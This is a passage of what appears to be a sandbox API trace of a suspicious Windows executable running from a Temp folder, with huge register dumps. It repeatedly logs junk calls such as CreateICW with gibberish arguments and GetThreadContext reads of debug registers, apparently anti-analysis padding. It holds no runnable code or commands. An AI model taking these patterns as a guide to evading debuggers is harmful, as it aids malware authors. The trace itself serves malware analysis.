Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.083] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.085] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.085] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.085] GetConsoleCP () returned 0x0
	[0066.085] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.085] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.087] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.087] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.087] GetConsoleCP () returned 0x0
	[0066.087] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, 